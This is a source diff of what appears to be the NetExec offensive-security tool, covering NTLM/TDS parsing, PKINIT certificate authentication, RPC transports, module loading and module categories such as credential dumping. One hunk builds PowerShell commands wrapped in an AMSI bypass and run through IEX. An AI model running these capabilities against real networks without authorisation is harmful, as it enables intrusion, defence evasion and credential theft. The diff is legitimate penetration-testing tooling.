lockout (bool): If True, treats the value as a lockout duration (simpler conversion)
|
||||
|
||||
Returns:
|
||||
str: Human-readable time string (e.g., "42 days 5 hours 30 minutes") or
|
||||
special values like "Not Set", "None", or "[-] Invalid TIME"
|
||||
"""
|
||||
time = ""
|
||||
tmp = 0
|
||||
|
||||
if (low == 0 and high == -0x8000_0000) or (low == 0 and high == -0x8000_0000_0000_0000):
|
||||
return "Not Set"
|
||||
if low == 0 and high == 0:
|
||||
return "None"
|
||||
|
||||
if not lockout:
|
||||
if low != 0:
|
||||
high = abs(high + 1)
|
||||
else:
|
||||
high = abs(high)
|
||||
low = abs(low)
|
||||
|
||||
tmp = low + (high << 32) # convert to 64bit int
|
||||
tmp *= 1e-7 # convert to seconds
|
||||
else:
|
||||
tmp = abs(high) * (1e-7)
|
||||
|
||||
try:
|
||||
minutes = int(strftime("%M", gmtime(tmp)))
|
||||
hours = int(strftime("%H", gmtime(tmp)))
|
||||
days = int(strftime("%j", gmtime(tmp))) - 1
|
||||
except ValueError:
|
||||
return "[-] Invalid TIME"
|
||||
|
||||
if days > 1:
|
||||
time += f"{days} days "
|
||||
elif days == 1:
|
||||
time += f"{days} day "
|
||||
if hours > 1:
|
||||
time += f"{hours} hours "
|
||||
elif hours == 1:
|
||||
time += f"{hours} hour "
|
||||
if minutes > 1:
|
||||
time += f"{minutes} minutes "
|
||||
elif minutes == 1:
|
||||
time += f"{minutes} minute "
|
||||
return time
|
||||
|
||||
|
||||
def parse_argument(argument: list) -> list:
|
||||
"""Parse input from an argparse argument, which can be either a value or a file containing values."""
|
||||
parsed_items = []
|
||||
for item in argument:
|
||||
if os.path.isfile(item):
|
||||
with open(item) as f:
|
||||
parsed_items.extend(line.strip() for line in f if line.strip())
|
||||
else:
|
||||
parsed_items.append(item.strip())
|
||||
return parsed_items
|
||||
|
||||
|
||||
def display_modules(args, modules):
|
||||
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
|
||||
# Add category filter for module listing
|
||||
if args.list_modules and args.list_modules.lower() != category.name.lower():
|
||||
continue
|
||||
if len([module for module in modules.values() if module["category"] == category]) > 0:
|
||||
nxc_logger.highlight(colored(f"{category.name}", color, attrs=["bold"]))
|
||||
for name, props in sorted(modules.items()):
|
||||
if props["category"] == category:
|
||||
nxc_logger.display(f"{name:<25} {props['description']}")
|
||||
|
||||
|
||||
class CATEGORY(Enum):
|
||||
ENUMERATION = "Enumeration"
|
||||
CREDENTIAL_DUMPING = "Credential Dumping"
|
||||
PRIVILEGE_ESCALATION = "Privilege Escalation"
|
||||
@@ -1,92 +0,0 @@
|
||||
# Parsing helpers for auth negotiation: NTLM challenges and TDS ERROR/INFO on MSSQL LOGIN7.
|
||||
# Original NTLM parsing from: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
|
||||
|
||||
import struct
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.smb3 import WIN_VERSIONS
|
||||
from impacket.tds import TDS_ERROR_TOKEN, TDS_INFO_TOKEN, TDS_INFO_ERROR
|
||||
import contextlib
|
||||
|
||||
|
||||
def parse_challenge(challange):
|
||||
target_info = {
|
||||
"hostname": None,
|
||||
"domain": None,
|
||||
"os_version": None
|
||||
}
|
||||
challange = ntlm.NTLMAuthChallenge(challange)
|
||||
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
if "Version" in challange.fields:
|
||||
version = challange["Version"]
|
||||
if len(version) >= 4:
|
||||
major_version = version[0]
|
||||
minor_version = version[1]
|
||||
product_build = struct.unpack("<H", version[2:4])[0]
|
||||
if product_build in WIN_VERSIONS:
|
||||
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
|
||||
else:
|
||||
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
|
||||
return target_info
|
||||
|
||||
|
||||
def decode_tds_info_error_msgtext(data, offset):
|
||||
"""Extract MsgText from a TDS ERROR (0xAA) or INFO (0xAB) token at *offset*.
|
||||
|
||||
Official spec: [MS-TDS] Tabular Data Stream Protocol (Microsoft Learn).
|
||||
Token layout per MS-TDS 2.2.7.9 (INFO) / 2.2.7.10 (ERROR):
|
||||
TokenType BYTE 0xAA | 0xAB
|
||||
Length USHORT LE byte count of the remaining fields
|
||||
Number LONG LE error / info number
|
||||
State BYTE
|
||||
Class BYTE severity
|
||||
MsgText US_VARCHAR (2-byte LE length prefix + UTF-16LE)
|
||||
... (ServerName, ProcName, LineNumber follow but are unused here)
|
||||
|
||||
The minimum *Length* value for a valid token is 8: Number(4) + State(1) +
|
||||
Class(1) + MsgText length prefix(2, may be zero-length string).
|
||||
|
||||
References (Microsoft Learn, MS-TDS):
|
||||
INFO: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/284bb815-d083-4ed5-b33a-bdc2492e322b
|
||||
ERROR: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/9805e9fa-1f8b-4cf8-8f78-8d2602228635
|
||||
Data packet stream tokens: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/f79bb5b8-5919-439a-a696-48064b78b091
|
||||
"""
|
||||
remaining = len(data) - offset
|
||||
if remaining < 3 or data[offset] not in (TDS_ERROR_TOKEN, TDS_INFO_TOKEN):
|
||||
return None
|
||||
|
||||
# Length (USHORT LE) after TokenType, see MS-TDS INFO/ERROR links in docstring
|
||||
payload_len = int.from_bytes(data[offset + 1 : offset + 3], "little")
|
||||
|
||||
if payload_len < 8 or remaining < 3 + payload_len:
|
||||
return None
|
||||
try:
|
||||
token = TDS_INFO_ERROR(data[offset:])
|
||||
text = token["MsgText"].decode("utf-16le").strip()
|
||||
except Exception:
|
||||
return None
|
||||
return text or None
|
||||
|
||||
|
||||
def login7_integrated_auth_error_message(packet_data, data_after_login_header):
|
||||
"""Scan raw LOGIN7 response buffers for the first ERROR/INFO message.
|
||||
|
||||
When a server does not support Integrated Windows Authentication it replies
|
||||
to the LOGIN7 NTLMSSP negotiate with a TDS error token instead of an
|
||||
NTLMSSP challenge. This helper locates the first ERROR (0xAA) or INFO
|
||||
(0xAB) token in either the full packet or the payload after the 3-byte
|
||||
LOGIN7 response header and returns its MsgText.
|
||||
"""
|
||||
token_markers = (TDS_ERROR_TOKEN, TDS_INFO_TOKEN)
|
||||
for buf in filter(None, (packet_data, data_after_login_header)):
|
||||
for offset in (i for i in range(len(buf)) if buf[i] in token_markers):
|
||||
msg = decode_tds_info_error_msgtext(buf, offset)
|
||||
if msg:
|
||||
return msg
|
||||
return None
|
||||
@@ -0,0 +1,34 @@
|
||||
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
|
||||
|
||||
import struct
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.smb3 import WIN_VERSIONS
|
||||
import contextlib
|
||||
|
||||
|
||||
def parse_challenge(challange):
|
||||
target_info = {
|
||||
"hostname": None,
|
||||
"domain": None,
|
||||
"os_version": None
|
||||
}
|
||||
challange = ntlm.NTLMAuthChallenge(challange)
|
||||
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
if "Version" in challange.fields:
|
||||
version = challange["Version"]
|
||||
if len(version) >= 4:
|
||||
major_version = version[0]
|
||||
minor_version = version[1]
|
||||
product_build = struct.unpack("<H", version[2:4])[0]
|
||||
if product_build in WIN_VERSIONS:
|
||||
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
|
||||
else:
|
||||
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
|
||||
return target_info
|
||||
@@ -1,13 +0,0 @@
|
||||
from pathlib import PurePosixPath
|
||||
|
||||
|
||||
def sanitize_filename(name: str) -> str:
|
||||
"""Strip path traversal components from an SMB filename.
|
||||
|
||||
Follows the pattern from spider_plus.py — filters '..' and '.' from
|
||||
PurePosixPath.parts to prevent directory traversal attacks from
|
||||
malicious SMB servers.
|
||||
"""
|
||||
parts = PurePosixPath(name.replace("\\", "/")).parts
|
||||
clean = [p for p in parts if p not in ("..", ".", "/")]
|
||||
return str(PurePosixPath(*clean)) if clean else ""
|
||||
+39
-85
@@ -35,18 +35,15 @@ import base64
|
||||
|
||||
from binascii import unhexlify, hexlify
|
||||
|
||||
from cryptography.hazmat.primitives import hashes, serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import padding, rsa
|
||||
from cryptography.hazmat.primitives.serialization import pkcs12
|
||||
from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
|
||||
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
|
||||
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
|
||||
|
||||
from asn1crypto import cms
|
||||
from asn1crypto import algos
|
||||
from asn1crypto import core
|
||||
from asn1crypto import keys
|
||||
from asn1crypto import x509
|
||||
|
||||
from minikerberos.protocol.dirtydh import DirtyDH
|
||||
from minikerberos.pkinit import PKINIT, DirtyDH
|
||||
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
|
||||
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
|
||||
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
|
||||
@@ -74,44 +71,12 @@ from nxc.paths import NXC_PATH
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
def _load_asn1_certificate(data):
|
||||
"""Load a certificate as an asn1crypto object, accepting both PEM and DER input
|
||||
|
||||
The certificate is parsed by cryptography and re-encoded, so that malformed input is
|
||||
rejected here instead of failing later inside asn1crypto, which parses lazily
|
||||
"""
|
||||
cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data)
|
||||
return _to_asn1_certificate(cert)
|
||||
|
||||
|
||||
def _to_asn1_certificate(cert):
|
||||
"""Convert a cryptography certificate to the asn1crypto object the CMS structures need"""
|
||||
return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER))
|
||||
|
||||
|
||||
def _check_rsa_privkey(privkey):
|
||||
"""PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early"""
|
||||
if not isinstance(privkey, rsa.RSAPrivateKey):
|
||||
raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}")
|
||||
return privkey
|
||||
|
||||
|
||||
class myPKINIT:
|
||||
class myPKINIT(PKINIT):
|
||||
"""
|
||||
Copy of minikerberos PKINIT
|
||||
With some changes where it differs from PKINIT used in NegoEx
|
||||
|
||||
This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto,
|
||||
which fails at import time on any OpenSSL whose version has a two digit component
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.privkey = None
|
||||
self.certificate = None
|
||||
self.issuer = None
|
||||
self.cname = None
|
||||
self.diffie = None
|
||||
|
||||
@staticmethod
|
||||
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
|
||||
with open(pfxfile, "rb") as f:
|
||||
@@ -125,17 +90,26 @@ class myPKINIT:
|
||||
@staticmethod
|
||||
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
if isinstance(pfxpass, str):
|
||||
pfxpass = pfxpass.encode()
|
||||
# cryptography requires None (not an empty password) for a pfx without password
|
||||
privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None)
|
||||
# a pfx holding only a certificate parses fine, so check the key before the certificate
|
||||
if privkey is None:
|
||||
raise Exception("No private key found in the PFX file")
|
||||
if cert is None:
|
||||
raise Exception("No certificate found in the PFX file")
|
||||
pkinit.privkey = _check_rsa_privkey(privkey)
|
||||
pkinit.certificate = _to_asn1_certificate(cert)
|
||||
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
|
||||
if not pfxpass:
|
||||
from cryptography.hazmat.primitives.serialization import pkcs12
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
|
||||
pem_key = privkey.private_bytes(
|
||||
encoding=serialization.Encoding.PEM,
|
||||
format=serialization.PrivateFormat.TraditionalOpenSSL,
|
||||
encryption_algorithm=serialization.NoEncryption(),
|
||||
)
|
||||
pkinit.privkey = load_private_key(parse_private(pem_key))
|
||||
pem_cert = cert.public_bytes(
|
||||
encoding=serialization.Encoding.PEM
|
||||
)
|
||||
pkinit.certificate = parse_certificate(pem_cert)
|
||||
else:
|
||||
if isinstance(pfxpass, str):
|
||||
pfxpass = pfxpass.encode()
|
||||
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
|
||||
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
@@ -143,18 +117,9 @@ class myPKINIT:
|
||||
def from_pem(certfile, privkeyfile, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
with open(certfile, "rb") as f:
|
||||
pkinit.certificate = _load_asn1_certificate(f.read())
|
||||
pkinit.certificate = parse_certificate(f.read())
|
||||
with open(privkeyfile, "rb") as f:
|
||||
keydata = f.read()
|
||||
try:
|
||||
try:
|
||||
privkey = serialization.load_pem_private_key(keydata, password=None)
|
||||
except ValueError:
|
||||
privkey = serialization.load_der_private_key(keydata, password=None)
|
||||
except TypeError as e:
|
||||
# raised by both loaders when the key is encrypted and no password was given
|
||||
raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e
|
||||
pkinit.privkey = _check_rsa_privkey(privkey)
|
||||
pkinit.privkey = load_private_key(parse_private(f.read()))
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
@@ -164,8 +129,8 @@ class myPKINIT:
|
||||
def setup(self, dh_params=None):
|
||||
self.issuer = self.certificate.issuer.native["common_name"]
|
||||
if dh_params is None:
|
||||
nxc_logger.display("Generating DH params...")
|
||||
nxc_logger.display("DH params generated.")
|
||||
print("Generating DH params...")
|
||||
print("DH params generated.")
|
||||
else:
|
||||
if isinstance(dh_params, dict):
|
||||
self.diffie = DirtyDH.from_dict(dh_params)
|
||||
@@ -272,7 +237,7 @@ class myPKINIT:
|
||||
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
|
||||
]
|
||||
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
|
||||
si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1())
|
||||
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
|
||||
|
||||
ec = {}
|
||||
ec["content_type"] = "1.3.6.1.5.2.3.1"
|
||||
@@ -513,34 +478,23 @@ def pfx_auth(self):
|
||||
self.logger.info("Loading certificate and key from file")
|
||||
|
||||
# Load the certificate and key from file
|
||||
try:
|
||||
if self.args.pfx_cert or self.args.pfx_base64:
|
||||
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
|
||||
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
|
||||
elif self.args.pem_cert and self.args.pem_key:
|
||||
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
|
||||
else:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
return None
|
||||
except FileNotFoundError as e:
|
||||
self.logger.fail(f"Certificate or key file not found: {e.filename}")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to load certificate/key: {e}")
|
||||
return False
|
||||
if self.args.pfx_cert or self.args.pfx_base64:
|
||||
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
|
||||
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
|
||||
elif self.args.pem_cert and self.args.pem_key:
|
||||
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
|
||||
else:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
return None
|
||||
|
||||
username = self.args.username[0]
|
||||
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
|
||||
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
|
||||
timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H%M%S").replace(":", "-")
|
||||
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{timestamp}-{username}.ccache"))
|
||||
|
||||
# Request a TGT with the cert data
|
||||
req = ini.build_asreq(self.domain, username)
|
||||
self.logger.info("Requesting TGT")
|
||||
|
||||
if not self.kdcHost:
|
||||
self.logger.fail(f"Could not resolve KDC host for domain {self.domain}. Use --kdcHost to specify the domain controller IP")
|
||||
return False
|
||||
|
||||
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
|
||||
try:
|
||||
res = sock.sendrecv(req)
|
||||
|
||||
@@ -137,7 +137,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
|
||||
amsi_bypass = ""
|
||||
|
||||
# for readability purposes, we do not do a one-liner
|
||||
if force_ps32:
|
||||
if force_ps32: # noqa: SIM108
|
||||
# https://stackoverflow.com/a/60155248
|
||||
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
|
||||
else:
|
||||
|
||||
@@ -1,101 +0,0 @@
|
||||
import contextlib
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
|
||||
class NXCRPCConnection:
|
||||
"""
|
||||
DCE/RPC over SMB/TCP using the NXC connection's creds; reuse SMB when already
|
||||
logged in so Kerberos delegation (e.g. S4U2Proxy ST) applies to pipe RPC too.
|
||||
"""
|
||||
def __init__(self, connection, force_tcp=False):
|
||||
self.connection = connection
|
||||
self.force_tcp = force_tcp
|
||||
self.dce = None
|
||||
self.rpc_transport = None
|
||||
|
||||
def connect(self, named_pipe, interface_uuid, target_ip=None, auth_level=None, string_binding=None, set_remote_host=None, anonymous_rpc=False):
|
||||
if string_binding is not None:
|
||||
self.rpc_transport = self.create_from_string_binding(string_binding, target_ip, set_remote_host, anonymous_rpc)
|
||||
elif self.force_tcp:
|
||||
self.rpc_transport = self.create_tcp_transport(target_ip, anonymous_rpc)
|
||||
else:
|
||||
self.rpc_transport = self.create_smb_transport(named_pipe, target_ip)
|
||||
|
||||
self.dce = self.rpc_transport.get_dce_rpc()
|
||||
|
||||
if self.connection.kerberos and not anonymous_rpc:
|
||||
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
self.dce.connect()
|
||||
|
||||
if auth_level is not None:
|
||||
self.dce.set_auth_level(auth_level)
|
||||
|
||||
self.dce.bind(interface_uuid)
|
||||
return self.dce
|
||||
|
||||
def disconnect(self):
|
||||
if self.dce:
|
||||
with contextlib.suppress(Exception):
|
||||
self.dce.disconnect()
|
||||
self.dce = None
|
||||
|
||||
@property
|
||||
def transport(self):
|
||||
return self.rpc_transport
|
||||
|
||||
def get_smb_connection(self):
|
||||
if self.rpc_transport and hasattr(self.rpc_transport, "get_smb_connection"):
|
||||
return self.rpc_transport.get_smb_connection()
|
||||
return None
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, exc_type, exc_val, exc_tb):
|
||||
self.disconnect()
|
||||
return False
|
||||
|
||||
def setup_credentials(self, rpc_transport, anonymous_rpc=False):
|
||||
conn = self.connection
|
||||
if anonymous_rpc:
|
||||
rpc_transport.set_credentials("", "", "", "", "", "")
|
||||
rpc_transport.set_kerberos(False, None)
|
||||
else:
|
||||
rpc_transport.set_credentials(conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey)
|
||||
if conn.kerberos:
|
||||
rpc_transport.set_kerberos(conn.kerberos, conn.kdcHost)
|
||||
|
||||
def create_smb_transport(self, named_pipe, target_ip=None):
|
||||
conn = self.connection
|
||||
|
||||
# Create a new SMB conn if we don't have one already or
|
||||
# if we are targetting a different IP (e.g. the DC instead of the original host) and therefore need to recreate the conn
|
||||
if conn.conn is not None and (target_ip is None or conn.host == target_ip):
|
||||
return transport.SMBTransport(conn.conn.getRemoteHost(), filename=named_pipe, smb_connection=conn.conn)
|
||||
rpc_transport = transport.SMBTransport(conn.remoteName, conn.port, named_pipe, conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey, doKerberos=conn.kerberos, kdcHost=conn.kdcHost)
|
||||
if target_ip or conn.host:
|
||||
rpc_transport.setRemoteHost(target_ip or conn.host)
|
||||
return rpc_transport
|
||||
|
||||
def create_tcp_transport(self, target_ip=None, anonymous_rpc=False):
|
||||
conn = self.connection
|
||||
target = target_ip or conn.remoteName
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(rf"ncacn_ip_tcp:{target}")
|
||||
rpc_transport.setRemoteHost(target)
|
||||
self.setup_credentials(rpc_transport, anonymous_rpc)
|
||||
return rpc_transport
|
||||
|
||||
def create_from_string_binding(self, string_binding, target_ip=None, set_remote_host=None, anonymous_rpc=False):
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
|
||||
if target_ip is not None:
|
||||
rpc_transport.setRemoteHost(target_ip)
|
||||
elif set_remote_host is not None:
|
||||
rpc_transport.setRemoteHost(set_remote_host)
|
||||
|
||||
self.setup_credentials(rpc_transport, anonymous_rpc)
|
||||
return rpc_transport
|
||||
@@ -4,19 +4,14 @@ import traceback
|
||||
import sys
|
||||
|
||||
from os import listdir
|
||||
from os.path import basename, dirname
|
||||
from os.path import dirname
|
||||
from os.path import join as path_join
|
||||
|
||||
from nxc.context import Context
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class ModuleOptionsError(Exception):
|
||||
"""Raised when a module aborts the run from options() (returned False)."""
|
||||
|
||||
|
||||
class ModuleLoader:
|
||||
def __init__(self, args, db, logger):
|
||||
self.args = args
|
||||
@@ -35,49 +30,23 @@ class ModuleLoader:
|
||||
elif not hasattr(module, "description"):
|
||||
self.logger.fail(f"{module_path} missing the description variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, "category") or module.category not in [CATEGORY.ENUMERATION, CATEGORY.CREDENTIAL_DUMPING, CATEGORY.PRIVILEGE_ESCALATION]:
|
||||
self.logger.fail(f"{module_path} missing the category variable or invalid category")
|
||||
module_error = True
|
||||
elif not hasattr(module, "supported_protocols"):
|
||||
self.logger.fail(f"{module_path} missing the supported_protocols variable")
|
||||
module_error = True
|
||||
elif not hasattr(module, "options"):
|
||||
self.logger.fail(f"{module_path} missing the options function")
|
||||
module_error = True
|
||||
elif not hasattr(module, "on_login") and not hasattr(module, "on_admin_login"):
|
||||
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
|
||||
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
|
||||
module_error = True
|
||||
|
||||
return not module_error
|
||||
|
||||
module_cache = {}
|
||||
|
||||
@classmethod
|
||||
def load_module_file(cls, module_path):
|
||||
"""Load a module file and return the raw module object with isolated namespace.
|
||||
|
||||
Each module gets a unique name to avoid sys.modules collisions that
|
||||
caused NXCModule class references to be overwritten when loading
|
||||
multiple modules. Results are cached so each file is only parsed
|
||||
and executed once regardless of how many targets are scanned.
|
||||
"""
|
||||
if module_path not in cls.module_cache:
|
||||
module_name = f"nxc_module_{basename(module_path)[:-3]}"
|
||||
spec = importlib.util.spec_from_file_location(module_name, module_path)
|
||||
module = importlib.util.module_from_spec(spec)
|
||||
# Register before executing. Modules that define their own impacket
|
||||
# NDRCALL requests rely on impacket resolving the matching Response
|
||||
# class via sys.modules[request.__module__] (rpcrt.py), which the
|
||||
# previous load_module() satisfied implicitly.
|
||||
sys.modules[module_name] = module
|
||||
spec.loader.exec_module(module)
|
||||
cls.module_cache[module_path] = module
|
||||
return cls.module_cache[module_path]
|
||||
|
||||
def load_module(self, module_path):
|
||||
"""Load a module, initializing it and checking that it has the proper attributes"""
|
||||
try:
|
||||
module = self.load_module_file(module_path).NXCModule()
|
||||
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
|
||||
module = spec.loader.load_module().NXCModule()
|
||||
|
||||
if self.module_is_sane(module, module_path):
|
||||
return module
|
||||
@@ -87,6 +56,7 @@ class ModuleLoader:
|
||||
|
||||
def init_module(self, module_path):
|
||||
"""Initialize a module for execution"""
|
||||
module = None
|
||||
module = self.load_module(module_path)
|
||||
|
||||
if module:
|
||||
@@ -104,8 +74,7 @@ class ModuleLoader:
|
||||
key, value = option.split("=", 1)
|
||||
module_options[str(key).upper()] = value
|
||||
|
||||
if module.options(context, module_options) is False:
|
||||
raise ModuleOptionsError(f"Module {module.name} aborted the run from options()")
|
||||
module.options(context, module_options)
|
||||
return module
|
||||
else:
|
||||
self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}")
|
||||
@@ -114,7 +83,8 @@ class ModuleLoader:
|
||||
def get_module_info(self, module_path):
|
||||
"""Get the path, description, and options from a module"""
|
||||
try:
|
||||
module_spec = self.load_module_file(module_path).NXCModule
|
||||
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
|
||||
module_spec = spec.loader.load_module().NXCModule
|
||||
|
||||
module = {
|
||||
f"{module_spec.name}": {
|
||||
@@ -122,7 +92,6 @@ class ModuleLoader:
|
||||
"description": module_spec.description,
|
||||
"options": module_spec.options.__doc__,
|
||||
"supported_protocols": module_spec.supported_protocols,
|
||||
"category": module_spec.category,
|
||||
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
|
||||
}
|
||||
}
|
||||
|
||||
+1
-11
@@ -101,12 +101,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
logging.getLogger("minidump").disabled = True
|
||||
logging.getLogger("lsassy").disabled = True
|
||||
logging.getLogger("dploot").disabled = True
|
||||
logging.getLogger("certipy").disabled = True
|
||||
logging.getLogger("aardwolf").disabled = True
|
||||
logging.getLogger("unicrypto").disabled = True
|
||||
logging.getLogger("asyncio").setLevel(logging.ERROR)
|
||||
logging.getLogger("neo4j").setLevel(logging.ERROR)
|
||||
logging.getLogger("pypsrp").setLevel(logging.ERROR)
|
||||
|
||||
def format(self, msg, *args, **kwargs):
|
||||
"""Format msg for output
|
||||
@@ -180,12 +175,7 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
file_creation = False
|
||||
|
||||
if not os.path.isfile(output_file):
|
||||
try:
|
||||
with open(output_file, "x"):
|
||||
pass
|
||||
except FileNotFoundError:
|
||||
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
|
||||
exit(1)
|
||||
open(output_file, "x") # noqa: SIM115
|
||||
file_creation = True
|
||||
|
||||
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
import re
|
||||
from impacket.ldap import ldap, ldapasn1
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -14,7 +13,6 @@ class NXCModule:
|
||||
name = "adcs"
|
||||
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
|
||||
+252
-227
@@ -1,275 +1,300 @@
|
||||
import ssl
|
||||
import ldap3
|
||||
import sys
|
||||
|
||||
from impacket.dcerpc.v5 import samr
|
||||
from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE
|
||||
from nxc.helpers.misc import CATEGORY
